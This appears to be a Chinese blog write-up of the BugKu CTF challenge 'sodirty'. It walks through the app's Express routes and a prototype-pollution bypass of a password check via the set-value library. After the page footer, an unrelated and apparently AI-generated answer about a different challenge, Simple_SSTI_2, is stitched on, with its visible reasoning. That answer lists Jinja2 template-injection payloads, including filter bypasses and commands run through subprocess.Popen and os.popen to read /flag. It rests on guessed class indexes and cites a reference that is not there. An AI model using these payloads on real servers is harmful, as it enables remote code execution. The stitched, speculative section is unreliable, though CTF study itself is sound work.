BugKu-WEB-sodirty

目录

前言

正文

信息收集

代码审计

 验证

结尾


前言

七月始,暑假副本也正式开启


正文

信息收集

看着貌似没啥意义

看样子是有备份文件

下载下来

快速审计一下


代码审计

来吧

app.js没啥东西,主要是功能是实现error

我们找一找有没有index.js

找到了

\www\routes\index.js

var express = require('express');
const setFn = require('set-value');
var router = express.Router();


const Admin = {
    "password":process.env.password?process.env.password:"password"
}


router.post("/getflag", function (req, res, next) {
    if (req.body.password === undefined || req.body.password === req.session.challenger.password){
        res.send("登录失败");
    }else{
        if(req.session.challenger.age > 79){
            res.send("糟老头子坏滴很");
        }
        let key = req.body.key.toString();
        let password = req.body.password.toString();
        if(Admin[key] === password){
            res.send(process.env.flag ? process.env.flag : "flag{test}");
        }else {
            res.send("密码错误,请使用管理员用户名登录.");
        }
    }

});
router.get('/reg', function (req, res, next) {
    req.session.challenger = {
        "username": "user",
        "password": "pass",
        "age": 80
    }
    res.send("用户创建成功!");
});

router.get('/', function (req, res, next) {
    res.redirect('index');
});
router.get('/index', function (req, res, next) {
    res.send('<title>BUGKU-登录</title><h1>前端被炒了<br><br><br><a href="./reg">注册</a>');
});
router.post("/update", function (req, res, next) {
    if(req.session.challenger === undefined){
        res.redirect('/reg');
    }else{
        if (req.body.attrkey === undefined || req.body.attrval === undefined) {
            res.send("传参有误");
        }else {
            let key = req.body.attrkey.toString();
            let value = req.body.attrval.toString();
            setFn(req.session.challenger, key, value);
            res.send("修改成功");
        }
    }
});

module.exports = router;

看到了没扫到的接口

同时也发现setFn极有可能存在原型链污染

const setFn = require('set-value');
setFn(req.session.challenger, key, value);

由于名字叫做sodirty,所以更加坚定了这个想法

我们来讲一讲什么原型链污染

原型链污染是一种在JavaScript中可能存在的安全漏洞,它允许攻击者修改对象的原型属性,从而影响到其他依赖这些属性的对象。这种攻击通常发生在Web应用程序中,当开发者没有正确地验证或清理用户提交的数据,并且这些数据被用作构造函数或对象方法的参数时,就可能发生原型链污染

这里setFn作为指针动态调用set-value,且key 的值完全由用户控制(通过 req.body.attrkey)

如果我们尝试构造"__proto__[password]""constructor.prototype.password",那么他们可以尝试修改对象原型,从而改变其继承的属性

具体来说,当 key 是一个指向原型属性的路径时,set-value 库可能会尝试在原型链上设置这个属性,这就会导致原型链污染

这边Admin 对象的 password 字段被用于比较,如果攻击者能够通过原型链污染将原型中的 password 属性设置为与 Admin 相同的值,那么他们就可以绕过身份验证,从而获取到 flag

当然这目前只是猜想

除此之外

        if(req.session.challenger.age > 79){
            res.send("糟老头子坏滴很");
        }
router.get('/reg', function (req, res, next) {
    req.session.challenger = {
        "username": "user",
        "password": "pass",
        "age": 80
    }
    res.send("用户创建成功!");
});

/reg默认创建age:80

所以我们需要通过

router.post("/update", function (req, res, next) {
    if(req.session.challenger === undefined){
        res.redirect('/reg');
    }else{
        if (req.body.attrkey === undefined || req.body.attrval === undefined) {
            res.send("传参有误");
        }else {
            let key = req.body.attrkey.toString();
            let value = req.body.attrval.toString();
            setFn(req.session.challenger, key, value);
            res.send("修改成功");
        }
    }

 进行修改


 验证

首先注册

然后就是

我也不知道为什么使用bp进行传参时会失败.......所以使用hackbar进行测试

接下来就是修改admin的password

然后就可以直接获取flag

还有就是为什么ip不一样了,因为前面的环境崩了

 

成功


结尾

学习学习学习!!!!

求赞求关注

感谢


作者的其他文章

攻防世界-WEB-WEIPHP(记一次有趣的代码审计)-CSDN博客

攻防世界-WEB-catcat-new-CSDN博客

攻防世界-WEB-filemanager-CSDN博客

BugKu-new_php_bugku newphp-CSDN博客

<think>嗯,用户需要关于Bugku平台上Web题目Simple_SSTI_2的解决方案或详细信息。首先,我得回忆一下SSTI(服务器端模板注入)的基本概念。SSTI通常发生在使用模板引擎渲染用户输入时,如果未正确过滤输入,攻击者可以注入恶意代码。常见的模板引擎有Jinja2(Python)、Twig(PHP)、FreeMarker(Java)等。 题目是Simple_SSTI_2,可能比第一题稍难。可能需要绕过一些过滤器或黑名单。比如,某些关键字如"class"、"subclasses"可能被过滤,或者某些特殊字符被转义。用户可能需要找到替代的方法来访问对象的方法或属性。 首先,确定使用的模板引擎类型。例如,Bugku的题目可能基于Python的Flask框架,使用Jinja2模板。在Jinja2中,常用的Payload比如{{config}}或者通过对象继承链来执行命令。比如,通过访问''.__class__.__mro__[1].__subclasses__()来获取子类,寻找可利用的类如subprocess.Popen。 但是题目可能有过滤,比如过滤了下划线或某些关键字。这时候需要绕过,比如使用request.args或request.values来传递参数,或者使用字符串拼接、十六进制编码等方式。例如,将__class__拆分为'_'+'_class'+'_'+'_',或者使用其他属性访问方式如attr()方法。 另外,可能需要绕过对特定函数的限制,比如os模块被禁用,可以考虑使用其他模块如subprocess来执行命令。或者利用内置函数如__import__来动态导入模块。 假设题目中存在黑名单过滤了"class"、"subclasses"等关键字,那么可能需要寻找替代方法。例如,使用原生Python的魔术方法或属性,或者使用过滤器如|attr()来拼接字符串。例如,{{''|attr('__class__')}}来获取类对象。 另外,如果题目中存在对某些字符的过滤,比如双下划线被过滤,可以使用request对象中的参数来传递。例如,构造Payload为{{''[request.args.a][request.args.b][request.args.c]()}},然后通过URL参数传递a=__class__,b=__base__等。 还需要考虑如何执行系统命令。例如,找到subprocess.Popen类,然后调用它执行命令。可能需要遍历子类来找到可用的类。例如,在Jinja2中,可以通过{{''.__class__.__mro__[1].__subclasses__()}}来获取所有子类,然后找到索引对应的Popen类。 如果题目中有沙箱环境,可能需要更复杂的绕过方式,比如利用Python的内省机制或全局变量。例如,使用__globals__或__builtins__来访问需要的函数。 总结步骤可能为:确定模板引擎类型→探测过滤规则→构造Payload绕过过滤→访问对象继承链→找到可利用的类→执行命令获取flag。 可能需要参考类似题目的解法,比如通过{{config}}查看配置信息,或者通过{{''.__class__.__base__.__subclasses__()[X].__init__.__globals__}}来访问模块的全局变量,进而导入os模块执行命令。 最后,验证Payload的有效性,并确保在题目环境中正确执行。可能需要多次尝试不同的索引或方法,直到找到正确的子类索引。</think>### Bugku Web题目 Simple_SSTI_2 解决方案 #### 1. 漏洞背景 Simple_SSTI_2考察**服务器端模板注入(SSTI)**漏洞,常见于未严格过滤用户输入的模板引擎(如Jinja2)。攻击者通过注入恶意代码可执行任意命令或读取敏感数据[^1]。 #### 2. 基本分析步骤 1. **确定模板引擎类型** 输入`{{7*7}}`,若返回`49`则为Jinja2/Twig类引擎;若返回`7777777`则可能为其他引擎(如Mako)。 2. **探测过滤规则** 尝试基础Payload如`{{''.__class__}}`,若返回错误或空白,说明可能过滤了关键字(如`_`、`class`)。 例如题目可能过滤下划线,需改用其他方式(如`request.args`传参或字符串拼接)。 #### 3. 绕过过滤的Payload示例 假设题目过滤了`_`和`class`,可通过以下方式绕过: ```python {{ ''|attr(request.args.a) }}&a=__class__ ``` 或使用十六进制编码: ```python {{ ""|attr("\x5f\x5f\x63\x6c\x61\x73\x73\x5f\x5f") }} ``` #### 4. 利用对象继承链执行命令 1. **获取基类** ```python {{ ''.__class__.__mro__[1] }} # 输出:<class 'object'> ``` 2. **遍历子类寻找可利用类** ```python {{ ''.__class__.__mro__[1].__subclasses__()[400] }} # 假设索引400为subprocess.Popen ``` 3. **执行系统命令** ```python {{ ''.__class__.__mro__[1].__subclasses__()[400]('ls', shell=True, stdout=-1).communicate() }} ``` #### 5. 获取Flag的典型Payload 若题目限制严格,可通过`__globals__`访问内置模块: ```python {{ config.__class__.__init__.__globals__['os'].popen('cat /flag').read() }} ```
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值